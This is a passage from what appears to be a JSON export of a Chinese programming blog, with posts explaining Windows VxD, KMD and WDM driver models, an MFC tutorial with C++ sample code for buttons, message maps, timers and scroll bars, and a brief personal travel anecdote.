打了个电话叫我老妈给我打了200块钱过来\u0026#8230;\n心凉喽都\u0026#8230;.要是不带卡我就完蛋啦\n","permalink":"https://hessian.cn/p/420.html","summary":"到北京了\u0026nbsp;\u0026nbsp; 那禽兽居然给我说是在吉林\n我晕了。。。。他是分不清哪是北京还是分不清哪是吉林啊\u0026#8230;.\n我当时身上就只有几十块钱了\u0026#8230;.心里那个没底啊\u0026#8230;.\n","title":"我靠！什么鸟玩意嘛！！！"},{"content":"作者:陆麟\n来来来,一起进入这黑黑的驱动程序世界.:)\n这里要讲的是Vxd,Kernel Mode Driver,和WDM的一些基本问题.\n什么是VxD?\nVxD乃 VIRTUAL X DRIVER.哎,说了也白说.其实就是虚拟设备驱动程序.是系统用于对各种硬件资源识别,管理,维护运作的扩展.VXD和VMM(虚拟机管理器)一起合作,维持着系统的运作.VxD模式从WIN3X时代就开始了.一直到了WIN98还一直在MS的WIN系列操作系统中起主导作用.VxD运作在INTEL系列CPU保护模式下的RING0.拥有对硬件的最高控制权.\n什么是Kernel Mode Driver(KMD)?\nKernel Mode Driver是NT下提出的管理,维护硬件运作的驱动程序模式.该DRIVER运行于NT的KERNEL模式下,类似于RING0.但是,一个KMD的运作环境在不同的时候是根本不同的.DRIVER收到设备请求时的运行环境很可能和设备请求实际操作的运行环境根本不同.这也是NT下,DRIVER的运作也受到NT的许多限制,一不小心,DRIVER和NT就同归于尽,来个BSOD (BLUE SCREEN OF DEATH).\n什么是WDM?\nWDM乃WIN32 DRIVER MODEL的简写.随WIN95 OSR2.1推出,和WIN2000兼容.乃MS力推的\u0026#8217;全新\u0026#8217;的驱动程序模式.目前网上WDM的文章很多,但是成书不多.基本上由于98对WDM的支持有限,而WIN2000又没有正式版推出,WDM的实际应用还不多.但是很快,WDM将成为主流的DRIVER模式.在我看来,WDM只不过是个PNP的KMD而已.(也许是没领悟到精髓说的话:))\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n早期的WIN3X,核心是VMM,当时的VMM已经具备了基本的操作系统核心的一些特征.但是WIN3X的驱动程序模式混乱不堪.硬件由 VxD驱动,网络和文件系统由实模式驱动程序驱动,多媒体硬件和打印机有RING3 DLL驱动,系统服务决大部分被转到V86模式下由实模式的DOS完 成.\n到了WIN95很大一部分系统服务被转换到了保护模式下.但是,混乱的驱动模式没有改变.WIN95主攻方向是易用性,而且的确 WIN95在用户界面上有些进步.当95开发组努力开发的时候,NT也推出了.这是个号称C2极的OS.当然,我并不相信该系统的强壮性,如果它的源代码公开的话,很可能就不堪一击.当然,NT比95还是有可圈点之处的.它乃是个真正的32位系统.而且,提供了5个应用环境:WIN32,VDM, POSIX.WOW,OS/2.这5个环境相互独立,并且操作系统仅对WIN32环境提供接口,WIN32提供其他环境接口,其他环境的API调用最终被转换到WIN32,进入OS核心.换言之:WIN32是屏幕,鼠标,键盘的拥有者,其他环境如要使用,就要向WIN32子系统申请.\n现在的WIN98乃是一个大杂种.包含了所有95的驱动程序模式,加上了WDM.很难想象.如果有一个硬件需要开放驱动程序.你必须首先看一下,适合什么模式.MINIPORT? NDIS? HID? RING0? RING3? 几乎每个硬件都对应一种模式.\n::UNDOCUMENTED HINT\nNT隐藏了一个环境.那就是NATIVE环境.这个环境可以说基本上没有在文档里出现过.也没有支持.在DDK里仅仅公开了一小部分 NATIVE API.NATIVE环境在系统启动时尤其重要.NT的CHKDSK程序就是个NATIVE应用程序.在运行该程序时,根本就没有 WIN32环境,更没有WOW, POSIX环境.这时候只有NATIVE API可供调用.而MS在很多情况下就是靠NATIVE API来获取更高的 应用程序效能.得到不公平的竞争优势.某些NATIVE API甚至可饶过系统的安全检查来完成原先不能完成的任务.\nVXD和KMD的最大区别在于VXD不需要考虑多CPU的问题.而KMD需要调用自旋锁来同步多CPU之间数据访问.当然,如果必要的话,通过VXD来增加对多CPU的支持应该并不困难,因为VMM提供了很开放的环境:VXD可以拦截VMM的调用入口.就类似于在DOS时代拦截INT21来扩展系统服务.而NT如果要扩展系统的化就很困难了.因为这是未公开的.(当然,方法还是有的.等过一段时间我再写:))\n另外一个重要的区别是VXD可以在CPU处于实模式时就获得系统的控制.而KMD不能.等KMD获得第一个启动时机,CPU已经处于保护模式,甚至你替换调HAL或NTOSKRNL也无济于事.因为CPU的模式切换是有NTLDR进行的:(\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n到底如何决定该用VXD还是KMD还是WDM呢?\n当然,首先应该考虑的是应用平台.如果是NT4.X,你没得选了,肯定是KMD了.如果是WIN95,那也只有VXD一种选择.当目标平台是98或WIN2000,可\n供选择的方法多点.但是也受到OS规范的限制.\n98下.如果想开发的是FSD,那么必须用VXD.尽管98有个WDMFS.SYS的东西.但是它并非真正的WDM的文件系统驱动程序.98支持的FSD是以\nIFSMGR.VXD为基础的VXD.\n如果想搞DISK,COMM\u0026#8230;等一系列的DRIVER.你也要写VXD.因为98并没有提供该类的WDM支持.那么98下什么可以用WDM呢?HID,网络类,多媒体类\n的硬件支持已经转化到了WDM.你已经可以从DDK里发现这几类驱动程序的样板程序.\n在NT2000下.我还不是很熟.但是很显然.对WDM的支持会更多.老的KMD将逐渐退出舞台.当然,KMD有他不可磨灭的优势.(在NT下,KMD的限制比9X\n下的VXD多.但是它仍有一些活络余地.例如DISK驱动程序可以访问视频硬件,或者其他资源,但随NT的发展,早晚这些活络余地也会被取消.)WDM\n需要将自己注册到相应的类里.有相应的例程必须输出.有些类似于MINIDRIVER.\n最终要考虑的是DRIVER作者的习惯.对哪1种模式更熟悉,写作更方便,那就用哪个.\n我个人开发98/95平台更多些.所以自己更倾向于VXD:安全限制最少.并且,我喜欢汇编.:) ?\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\nNTKERN.VXD的一些东东\nNTKERN.VXD乃是WIN98提供NT类服务的核心驱动程序.它输出了几个VXD服务.尽管有头文件,但是却没有文档.这里告诉大家一个诀窍,很多服务和NT下ZwXXX例程具有相同的参数,乃是VXD版的ZwXXX.\n例如NtKernCreateFile就是ZwCreateFile的翻版.它也具有11个参数.\n下面是NTKERN.VXD的VXD服务列表.\nNTKERN_Service _NTKERN_Get_Version, LOCAL\nNTKERN_StdCall_Service _NtKernCreateFile, 11, VxD_CODE\nNTKERN_StdCall_Service _NtKernClose, 1, VxD_CODE\nNTKERN_StdCall_Service _NtKernReadFile, 9, VxD_CODE\nNTKERN_StdCall_Service _NtKernWriteFile, 9, VxD_CODE\nNTKERN_StdCall_Service _NtKernDeviceIoControl, 10, VxD_CODE\nNTKERN_Service _NtKernGetWorkerThread, VxD_CODE\nNTKERN_StdCall_Service _NtKernLoadDriver, 1, VxD_CODE\nNTKERN_StdCall_Service _NtKernQueueWorkItem, 2, VxD_CODE\nNTKERN_Service _NtKernPhysicalDeviceObjectToDevNode, VxD_CODE\nNTKERN_StdCall_Service _NtKernSetPhysicalCacheTypeRange, 4, VxD_CODE\nNTKERN_Service _NtKernWin9XLoadDriver, VxD_CODE\nNTKERN_StdCall_Service _NtKernCancelIoFile, 2, VxD_CODE\nNTKERN_Service _NtKernGetVPICDHandleFromInterruptObj, VXD_CODE\nNTKERN_StdCall_Service _NtKernInternalDeviceIoControl, 10, VxD_CODE\n上述服务里,部分是未公开的.如果大家参悟透了,NT下也有很多东西可迎刃而解.我想,文件IO应该没什么问题,但是其他东西就难搞了.在这里, 我在网络上仅看到了_NtKernLoadDriver的接口.他和ZwLoadDriver具有相同的参数,用来从VXD加载KMD. (ZwLoadDriver本身又是个未公开的函数)具体接口如下:\nNTSTATUS __stdcall ZwLoadDriver( PUNICODE_STRING ServiceKeyPath ).\n","permalink":"https://hessian.cn/p/418.html","summary":"作者:陆麟\n来来来,一起进入这黑黑的驱动程序世界.:)\n这里要讲的是Vxd,Kernel Mode Driver,和WDM的一些基本问题.\n什么是VxD?\nVxD乃 VIRTUAL X DRIVER.哎,说了也白说.其实就是虚拟设备驱动程序.是系统用于对各种硬件资源识别,管理,维护运作的扩展.VXD和VMM(虚拟机管理器)一起合作,维持着系统的运作.VxD模式从WIN3X时代就开始了.一直到了WIN98还一直在MS的WIN系列操作系统中起主导作用.VxD运作在INTEL系列CPU保护模式下的RING0.拥有对硬件的最高控制权.\n","title":"VXD,KMD,WDM基本概念"},{"content":"CButton类 在上一讲中所讨论的CStatic控制是唯一不响应用户时间的控制。Windows中所有的其它控制都可响应用户事件。第一，当用户处理它们时， 它们会自动更新其外观(例如，当用户单击按钮时，按钮会自己加亮以给用户一个反馈)。第二，每个不同的控制都要发送信息给你的代码以使程序能响应用户的需 要。例如，当单击按钮时，按钮就会发送一个命令消息。如果你编写代码接收消息，则你的代码就能响应用户事件。 为了理解这个过程，我们从CButton控制开始。下面的代码说明了建立按钮的过程： // button1.cpp #include #define IDB_BUTTON 100 // Declare the application class class CButtonApp : public CWinApp { public: virtual BOOL InitInstance(); }; // Create an instance of the application class CButtonApp ButtonApp; // Declare the main window class class CButtonWindow : public CFrameWnd { CButton *button; public: CButtonWindow(); }; // The InitInstance function is called once // when the application first executes BOOL CButtonApp::InitInstance() { m_pMainWnd = new CButtonWindow(); m_pMainWnd-\u0026gt;ShowWindow(m_nCmdShow); m_pMainWnd-\u0026gt;UpdateWindow(); return TRUE; } // The constructor for the window class CButtonWindow::CButtonWindow() { CRect r; // Create the window itself Create(NULL, \u0026quot;CButton Tests\u0026quot;, WS_OVERLAPPEDWINDOW, CRect(0,0,200,200)); // Get the size of the client rectangle GetClientRect(\u0026amp;r); r.InflateRect(-20,-20); // Create a button button = new CButton(); button-\u0026gt;Create(\u0026quot;Push me\u0026quot;, WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON, r, this, IDB_BUTTON); } 上面的代码与前面介绍的代码几乎相同。CButton类的Create函数共有5个参数。前四个与CStatic的相同。第五个参数为按钮的资源 ID。资源ID是用来标识消息映射中按钮的唯一整数值。常数值IDB_BUTTON已经在程序的顶部做了定义。\u0026ldquo;IDB_\u0026rdquo;是任选的，只是该常量ID是用 来表示按钮的。它的值为100，因为100以内的值都为系统所保留。你可以使用任何大于99的值。 CButton类所允许的样式属性与CStatic类的是不同的。定义了11个不同的\u0026ldquo;BS\u0026rdquo;(\u0026ldquo;Button Style\u0026rdquo;)常量。完整的\u0026ldquo;BS\u0026rdquo;常量列表可在用Search命令查找CButton，并选择\u0026ldquo;button style\u0026rdquo;。这里我们要用的是BS_PUSHBUTTON样式，它表示我们要一正常的的按钮方式来显示该按钮。我们还使用了两个熟悉的\u0026ldquo;WS\u0026rdquo;属性: WS_CHILD和WS_VISIBLE。我们将在后面介绍其它一些样式。 当你运行代码时，会注意到按钮响应了用户事件。既它加亮了。除此之外它没有做任何事情，因为我们还没有教它怎样去做。我们需要编写消息映射来使按钮做一些感兴趣的事情。 建立消息映射 下面的代码包含有消息映射，也包含有新的处理单击按钮的函数(当用户单击按钮时会响一下喇叭)。它只是前面代码的一个简单的扩充： // button2.cpp #include #define IDB_BUTTON 100 // Declare the application class class CButtonApp : public CWinApp { public: virtual BOOL InitInstance(); }; // Create an instance of the application class CButtonApp ButtonApp; // Declare the main window class class CButtonWindow : public CFrameWnd { CButton *button; public: CButtonWindow(); afx_msg void HandleButton(); DECLARE_MESSAGE_MAP() }; // The message handler function void CButtonWindow::HandleButton() { MessageBeep(-1); } // The message map BEGIN_MESSAGE_MAP(CButtonWindow, CFrameWnd) ON_BN_CLICKED(IDB_BUTTON, HandleButton) END_MESSAGE_MAP() // The InitInstance function is called once // when the application first executes BOOL CButtonApp::InitInstance() { m_pMainWnd = new CButtonWindow(); m_pMainWnd-\u0026gt;ShowWindow(m_nCmdShow); m_pMainWnd-\u0026gt;UpdateWindow(); return TRUE; } // The constructor for the window class CButtonWindow::CButtonWindow() { CRect r; // Create the window itself Create(NULL, \u0026quot;CButton Tests\u0026quot;, WS_OVERLAPPEDWINDOW, CRect(0,0,200,200)); // Get the size of the client rectangle GetClientRect(\u0026amp;r); r.InflateRect(-20,-20); // Create a button button = new CButton(); button-\u0026gt;Create(\u0026quot;Push me\u0026quot;, WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON, r, this, IDB_BUTTON); } 主要修改了三个方面: 1. CButtonWindow的类说明现在包含了一个新的成员函数和一个新的表示消息映射的宏。HandleButton函数是正常的C++函数，它通过 afx_msg标签确定为消息处理函数。该函数需要一些特殊的约束，例如，它必须是void型并且它不能接收任何参数。 DECLARE_MESSAGE_MAP宏建立了消息映射。函数和宏都必须是public型的。 2. HandleButton函数作为成员函数以同样的方式来建立。在该函数中，我们调用了Windows API中的MessageBeep函数。 3. 用宏来建立消息映射。在代码中，你可以看见BEGIN_MESSAGE_MAP宏接收两各参数。第一个指定了使用消息映射的类的名称。第二个是基类。然后 是ON_BN_CLICKED宏，接受两个参数控制的ID和该ID发送命令消息时所调用的函数。最后，消息映射用END_MESSAGE_MAP来结束。 当用户单击按钮时，它向其包含该按钮的父窗口发送了一个包含其ID的命令消息。那是按钮的缺省行为，这就是该代码工作的原因。按钮向其父窗口发 送消息，是因为它是子窗口。父窗口截取该消息并用消息映射来确定所要调用的函数。MFC来安排，只要指定的消息一出现，相应的函数就会被调用。 ON_BN_CLICKED消息是CButton发送的唯一感兴趣的消息。它等同于CWnd中的ON_COMMAND消息，只是一个更简单方便的同义词而已。 改变大小的消息 在上面的代码中，由于有了消息映射，从CFrameWnd继承来的应用程序窗口认出按钮有按钮产生的单击消息并响应之。加入消息映射的 ON_BN_CLICKED宏指定了按钮的ID和窗口在接收到来自按钮的命令消息时应调用的函数。因为只要用户单击了按钮，按钮就会自动把其ID发送父窗 口，这样才能允许代码正确地处理按钮事件。 作为该应用程序的主窗口的框架窗口自己也有传递消息的能力。大约有100不同的消息可用，它们都是从CWnd类继承来的。从MFC帮助文件中浏览CWnd类的成员函数，你就会看到所有的这些消息。查看所有以\u0026ldquo;On\u0026rdquo;开头的成员函数。 你可能已经注意到了，至今为止所有的代码都不能很好地处理尺寸变化。当窗口变化大小时，窗口的框架会做相应的调整，但是窗口中调的内容仍原处不 动。可以通过处理尺寸变化的事件来更好的处理这一问题。任何窗口发送的消息之一就是变尺寸消息。该消息是当改变形状时发出的。我们可以使用该消息来控制框 架中子窗口的大小，如下所示: // button3.cpp #include #define IDB_BUTTON 100 // Declare the application class class CButtonApp : public CWinApp { public: virtual BOOL InitInstance(); }; // Create an instance of the application class CButtonApp ButtonApp; // Declare the main window class class CButtonWindow : public CFrameWnd { CButton *button; public: CButtonWindow(); afx_msg void HandleButton(); afx_msg void OnSize(UINT, int, int); DECLARE_MESSAGE_MAP() }; // A message handler function void CButtonWindow::HandleButton() { MessageBeep(-1); } // A message handler function void CButtonWindow::OnSize(UINT nType, int cx, int cy) { CRect r; GetClientRect(\u0026amp;r); r.InflateRect(-20,-20); button-\u0026gt;MoveWindow(r); } // The message map BEGIN_MESSAGE_MAP(CButtonWindow, CFrameWnd) ON_BN_CLICKED(IDB_BUTTON, HandleButton) ON_WM_SIZE() END_MESSAGE_MAP() // The InitInstance function is called once // when the application first executes BOOL CButtonApp::InitInstance() { m_pMainWnd = new CButtonWindow(); m_pMainWnd-\u0026gt;ShowWindow(m_nCmdShow); m_pMainWnd-\u0026gt;UpdateWindow(); return TRUE; } // The constructor for the window class CButtonWindow::CButtonWindow() { CRect r; // Create the window itself Create(NULL, \u0026quot;CButton Tests\u0026quot;, WS_OVERLAPPEDWINDOW, CRect(0,0,200,200)); // Get the size of the client rectangle GetClientRect(\u0026amp;r); r.InflateRect(-20,-20); // Create a button button = new CButton(); button-\u0026gt;Create(\u0026quot;Push me\u0026quot;, WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON, r, this, IDB_BUTTON); } 为了理解上面的代码，从窗口的消息映射开始。你会发现入口ON_WM_SIZE。该入口表示消息映射是对来自CButtonWindow对象的变 尺寸消息发生响应。变尺寸消息是当用户改变窗口的大小时产生的。该消息来自窗口本身，而不是作为ON_COMMAND消息由按钮向其父窗口发送的。这是因 为窗口框架不是子窗口。 要注意的是消息映射中的ON_WM_SIZE入口没有参数。你在MFC文档中CWnd类，消息映射中的ON_WM_SIZE入口总是调用 OnSize函数，并且该函数必须接收三个参数。OnSize函数必须是消息映射所属类的成员函数，并且该函数必须用afx_msg来说明(正如上面在 CButtonWindow的定义中所见到的一样)。 如果你查看MFC文档，就会发现CWnd中有近100名为\u0026ldquo;On\u0026#8230;\u0026rdquo;的函数。CWnd::OnSize是其中之一。所有这些函数都在消息映 射中有形如ON_WM_对应的标签。例如，ON_WM_SIZE对应OnSize。ON_WM_入口不接收任何参数，如ON_BN_CLICKED一样。 参数是假设的并自动传递给相应的如OnSize的\u0026ldquo;On\u0026#8230;\u0026rdquo;函数。 重复一遍，因为它很重要: OnSize函数总是与消息映射中的ON_WM_SIZE入口想对应。你必须命名处理函数OnSize, 并且它必须接收三个参数。不同的函数的参数会有所不同。 上面的代码中在OnSize函数自身的内部，有三行代码修改了按钮在窗口中的尺寸。你可以在该函数中输入任何你想要的代码。 调用GetClientRect是为了恢复窗口用户区域的新尺寸。该矩形会被缩小，并调用按钮的MoveWindow函数。MoveWindow是从CWnd继承来的，改变尺寸和移动子窗口是在一步完成的。 当你执行上面改变窗口大小的程序时，你就会发现按钮自己能正确地改变大小。在代码中，变尺寸事件他国消息映射中的OnSize函数而产生一调用，它调用MoveWindow函数来改变按钮的大小。 窗口消息 查看MFC文档，你可以看到主窗口处理的各种各样的CWnd消息。有些与我们上面介绍的类似。例如，ON_WM_MOVE消息是当用户移动窗口时 发送的消息，ON_WM_PAINT消息是当窗口的任何部分需要重画时发出的。至今为止，我们的所有程序，重画工作都是自动完成的，因为是控制自己来负责 其外观。如果你自己使用GDI命令来在用户区域中绘制，应用程序就应负责重画工作。因此ON_WM_PAINT就变得重要了。 还有一些发送给窗口的事件消息更深奥。例如，你可以使用ON_WM_TIMER消息与SetTimer函数来使接收预先设置的时间间隔。下面的代码给出了该过程。当你运行该代码时，程序会每隔1秒钟鸣笛一声。你可以用其它更有用的功能来代替鸣笛。 // button4.cpp #include #define IDB_BUTTON 100 #define IDT_TIMER1 200 // Declare the application class class CButtonApp : public CWinApp { public: virtual BOOL InitInstance(); }; // Create an instance of the application class CButtonApp ButtonApp; // Declare the main window class class CButtonWindow : public CFrameWnd { CButton *button; public: CButtonWindow(); afx_msg void HandleButton(); afx_msg void OnSize(UINT, int, int); afx_msg void OnTimer(UINT); DECLARE_MESSAGE_MAP() }; // A message handler function void CButtonWindow::HandleButton() { MessageBeep(-1); } // A message handler function void CButtonWindow::OnSize(UINT nType, int cx, int cy) { CRect r; GetClientRect(\u0026amp;r); r.InflateRect(-20,-20); button-\u0026gt;MoveWindow(r); } // A message handler function void CButtonWindow::OnTimer(UINT id) { MessageBeep(-1); } // The message map BEGIN_MESSAGE_MAP(CButtonWindow, CFrameWnd) ON_BN_CLICKED(IDB_BUTTON, HandleButton) ON_WM_SIZE() ON_WM_TIMER() END_MESSAGE_MAP() // The InitInstance function is called once // when the application first executes BOOL CButtonApp::InitInstance() { m_pMainWnd = new CButtonWindow(); m_pMainWnd-\u0026gt;ShowWindow(m_nCmdShow); m_pMainWnd-\u0026gt;UpdateWindow(); return TRUE; } // The constructor for the window class CButtonWindow::CButtonWindow() { CRect r; // Create the window itself Create(NULL, \u0026quot;CButton Tests\u0026quot;, WS_OVERLAPPEDWINDOW, CRect(0,0,200,200)); // Set up the timer SetTimer(IDT_TIMER1, 1000, NULL); // 1000 ms. // Get the size of the client rectangle GetClientRect(\u0026amp;r); r.InflateRect(-20,-20); // Create a button button = new CButton(); button-\u0026gt;Create(\u0026quot;Push me\u0026quot;, WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON, r, this, IDB_BUTTON); } 在上面的程序内部，我们建立了一个按钮，如前所示，改变尺寸的代码没有变动。在窗口的构造函数中，我们添加了SetTimer函数的调用。该函数 接收三个参数：时钟的ID(可以同时使用多个时钟，每次时钟关闭时都会把ID传递给所调用的函数)，时间以毫秒为单位。在这里，我们向函数传送了 NULL，以使窗口消息映射自己自动发送函数。在消息映射中，我们已经通知了ON_WM_TIMER消息，它会自动调用OnTimer函数来传递已经关闭 了的时钟的ID。 当程序运行时，它每隔1毫秒鸣笛一声。每次时钟的时间增量流逝，窗口都会发送消息给自己。消息映射选择消息给OnTimer函数，它鸣笛。你可以在此放置更有用的代码。 滚动条控制 Windows用两种不同的方式来处理滚动条。一些控制，如编辑控制和列表控制，可以带有滚动条。在这种情况下，滚动条会被自动处理，不不要额外的代码来处理。 滚动条也可以作为单独的元件来使用。当这样使用时，滚动条就拥有独立的权力。你可以参见MFC参考手册中有关CScrollBar的有关章节。滚动条控制的建立与前面介绍的静态标签和按钮的一样。它有四个成员函数允许你设置和获取滚动条的位置和范围。 下面的代码演示了建立水平滚动条的过程和其消息映射： // sb1.cpp #include #define IDM_SCROLLBAR 100 const int MAX_RANGE=100; const int MIN_RANGE=0; // Declare the application class class CScrollBarApp : public CWinApp { public: virtual BOOL InitInstance(); }; // Create an instance of the application class CScrollBarApp ScrollBarApp; // Declare the main window class class CScrollBarWindow : public CFrameWnd { CScrollBar *sb; public: CScrollBarWindow(); afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar); DECLARE_MESSAGE_MAP() }; // The message handler function void CScrollBarWindow::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar) { MessageBeep(-1); } // The message map BEGIN_MESSAGE_MAP(CScrollBarWindow, CFrameWnd) ON_WM_HSCROLL() END_MESSAGE_MAP() // The InitInstance function is called once // when the application first executes BOOL CScrollBarApp::InitInstance() { m_pMainWnd = new CScrollBarWindow(); m_pMainWnd-\u0026gt;ShowWindow(m_nCmdShow); m_pMainWnd-\u0026gt;UpdateWindow(); return TRUE; } // The constructor for the window class CScrollBarWindow::CScrollBarWindow() { CRect r; // Create the window itself Create(NULL, \u0026quot;CScrollBar Tests\u0026quot;, WS_OVERLAPPEDWINDOW, CRect(0,0,200,200)); // Get the size of the client rectangle GetClientRect(\u0026amp;r); // Create a scroll bar sb = new CScrollBar(); sb-\u0026gt;Create(WS_CHILD|WS_VISIBLE|SBS_HORZ, CRect(10,10,r.Width()-10,30), this, IDM_SCROLLBAR); sb-\u0026gt;SetScrollRange(MIN_RANGE,MAX_RANGE,TRUE); } Windows会区分水平和垂直滚动条，同时还支持CScrollBar中一称为尺寸盒的控制。尺寸盒是一个小方块。它处于水平和垂直滚动条的交 叉处，呀鼠标拖动它会自动改变窗口的大小。在后面的代码中你看到如何用Create函数的SBS_HORZ样式来建立一水平滚动条。在建立了滚动条之后， 马上用SetScrollRange中的MIN_RANGE和MAX_RANGE龙个常数给出了滚动条的范围0~100(它们定义在程序的顶部)。 事件处理函数OnHScroll来自CWnd类。我们使用该函数是因为该代码建立了水平滚动条。对于垂直滚动条应使用OnVScroll。在代 码中，消息映射与滚动函数相联系，并使滚动条在用户操作时发出鸣笛声。当你运行该程序时，你可以单击箭头、拖动滚动条上的小方块等等。每次操作都会出现鸣 笛声，但是滚动条上的小方块实际上不会移动，因为我们还没有把它与实际的代码相关联。 每次滚动条调用OnHScroll时，你的代码都要确定用户的操作。在OnHScroll函数内部，你可以检验传递给处理函数的第一参数，如下所示。如果你与上面的代码一起使用，滚动条的小方块就会移动到用户操作的位置处。 // The message handling function void CScrollBarWindow::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar) { int pos; pos = sb-\u0026gt;GetScrollPos(); switch ( nSBCode ) { case SB_LINEUP: pos -= 1; break; case SB_LINEDOWN: pos += 1; break; case SB_PAGEUP: pos -= 10; break; case SB_PAGEDOWN: pos += 10; break; case SB_TOP: pos = MIN_RANGE; break; case SB_BOTTOM: pos = MAX_RANGE; break; case SB_THUMBPOSITION: pos = nPos; break; default: return; } if ( pos \u0026lt; MIN_RANGE ) pos = MIN_RANGE; else if ( pos \u0026gt; MAX_RANGE ) pos = MAX_RANGE; sb-\u0026gt;SetScrollPos( pos, TRUE ); } SB_LINEUP和SB_LINEDOWN的不同常数值在CWnd::OnHScroll函数文档中有介绍。上面的代码首先使用 GetScrollPos函数来恢复滚动条的当前位置。然后使用开关语句来确定用户对滚动条的操作。SB_LINEUP 和SB_LINEDOWN常数值意味着垂直方向，但也可用于水平方向表示左右移动。SB_PAGEUP和SB_PAGEDOWN是用在用户单击滚动条时。 SB_TOP和SB_BOTTOM用于当用户移动滚动条小方块到滚动条的顶部和底部。SB_THUMBPOSITION用于当用户拖动小方块到指定位置 时。代码会自动调整位置，然后确保它在设置其新位置时仍然在范围内。一旦设置了滚动条，小方块就会移动到适当的位置。 垂直滚动条的处理也是类似的，只是要用OnVScroll函数中的SBS_VERT样式。 理解消息映射 消息映射结构只能用于MFC。掌握它和如何在你的代码中应用它是很重要的。 可能纯C++使用者会对消息映射产生疑问: 为什么Microsoft不用虚拟函数来替代消息映射？虚拟函数是MFC中处理消息映射的标准C++方式，所以使用宏DECLARE_MESSAGE_MAP和BEGIN_MESSAGE_MAP可能有些怪异。 MFC使用消息映射来解决虚拟函数的基本问题。参见MFC帮助文件中的CWnd类。它包含200多个成员函数，所有的成员函数当不使用消息映射时 都是虚拟的。现在来看一下所有CWnd类的子类。MFC中大约有近30个类是以CWnd为基类的。这包括所有的可见控制如按钮、静态标签和列表。现在想象 一下，MFC使用虚拟函数，并且你建立一应用程序包含有20个控制。CWnd中的200个虚拟函数中的每个都需要自己的虚拟函数表，并且一个控制的每个例 程都应有一组200个虚拟函数与之关联。则程序可能就有近4,000个虚拟函数表在内存中，这对内存有限的机器来说是个大问题。因为其中的大部分是不用 的。 消息映射复制了虚拟函数表的操作，但是它是基于需要的基础之上的。当你在消息映射中建立一个入口时，你是在对系统说，\u0026ldquo;当你看见一个特殊的消息时，请调用指定的函数\u0026rdquo;。只有这些函数实际上被重载到消息映射中，着就节省了内存和CPU的负担。 当你用DECLARE_MESSAGE_MAP和BEGIN_MESSAGE_MAP说明消息映射时，系统会通过你的消息映射选择所有的消息。如 果消息映射处理了给定的消息，则你的函数会被调用，卸车也就停留在此。但是，如果你的消息映射中不包含某个消息的入口，则系统会把该消息发送第二个 BEGIN_MESSAGE_MAP指定的类。那个类可能会也可能不会处理它，如此重复。最后，如果没有消息映射处理一给定的消息，该消息会到由一缺省的 处理函数来处理。 结论 本讲中所介绍的所有消息映射处理概念可适用于Windows NT中所有的控制和窗口。在大部分情况下，你可以使用ClassWizard来安装消息映射的入口，它将在后面的有关ClassWizard、AppWizard和资源编辑器一文中介绍。\n","permalink":"https://hessian.cn/p/560.html","summary":"CButton类 在上一讲中所讨论的CStatic控制是唯一不响应用户时间的控制。Windows中所有的其它控制都可响应用户事件。第一，当用户处理它们时， 它们会自动更新其外观(例如，当用户单击按钮时，按钮会自己加亮以给用户一个反馈)。第二，每个不同的控制都要发送信息给你的代码以使程序能响应用户的需 要。例如，当单击按钮时，按钮就会发送一个命令消息。如果你编写代码接收消息，则你的代码就能响应用户事件。 为了理解这个过程，我们从CButton控制开始。下面的代码说明了建立按钮的过程： // button1.cpp #include #define IDB_BUTTON 100 // Declare the application class class CButtonApp : public CWinApp { public: virtual BOOL InitInstance(); }; // Create an instance of the application class CButtonApp ButtonApp; // Declare the main window class class CButtonWindow : public CFrameWnd { CButton *button; public: CButtonWindow(); }; // The InitInstance function is called once // when the application first executes BOOL CButtonApp::InitInstance() { m_pMainWnd = new CButtonWindow(); m_pMainWnd-\u0026gt;ShowWindow(m_nCmdShow); m_pMainWnd-\u0026gt;UpdateWindow(); return TRUE; } // The constructor for the window class CButtonWindow::CButtonWindow() { CRect r; // Create the window itself Create(NULL, \u0026quot;CButton Tests\u0026quot;, WS_OVERLAPPEDWINDOW, CRect(0,0,200,200)); ","title":"Visual C++ MFC 简明教程 [3]"},{"content":"Visual C++ MFC 简明教程 第一部分：MFC导论 Visual C++ 不仅仅是一个编译器。它是一个全面的应用程序开发环境，使用它你充分利用具有面向对象特性的 C++ 来开发出专业级的 Windows 应用程序。为了能充分利用这些特性，你必须理解 C++ 程序设计语言。掌握了C++，你就必须掌握 Microsoft 基本类库 (MFC) 的层次结构。该层次 结构包容了 Windows API 中的用户界面部分，并使你能够很容易地以面向对象的方式建立 Windows 应用程序。这种层次结构适用于所有版本的 Windows 并彼此兼容。你用 MFC 所建立的代码是完全可移植的。 该教程将向你介绍MFC的基本概念和术语以及事件驱动程序设计方法。在本节中，你将会输入、编译和运行一个简单的MFC程序。下一节中将向你详细解释这些代码。第三部分讨论了MFC控制和如何定制它们。第四部分将介绍消息映射，你将会处理MFC的事件。 什么是MFC? 如果你要建立一个 Windows 应用程序，应该如何下手？ 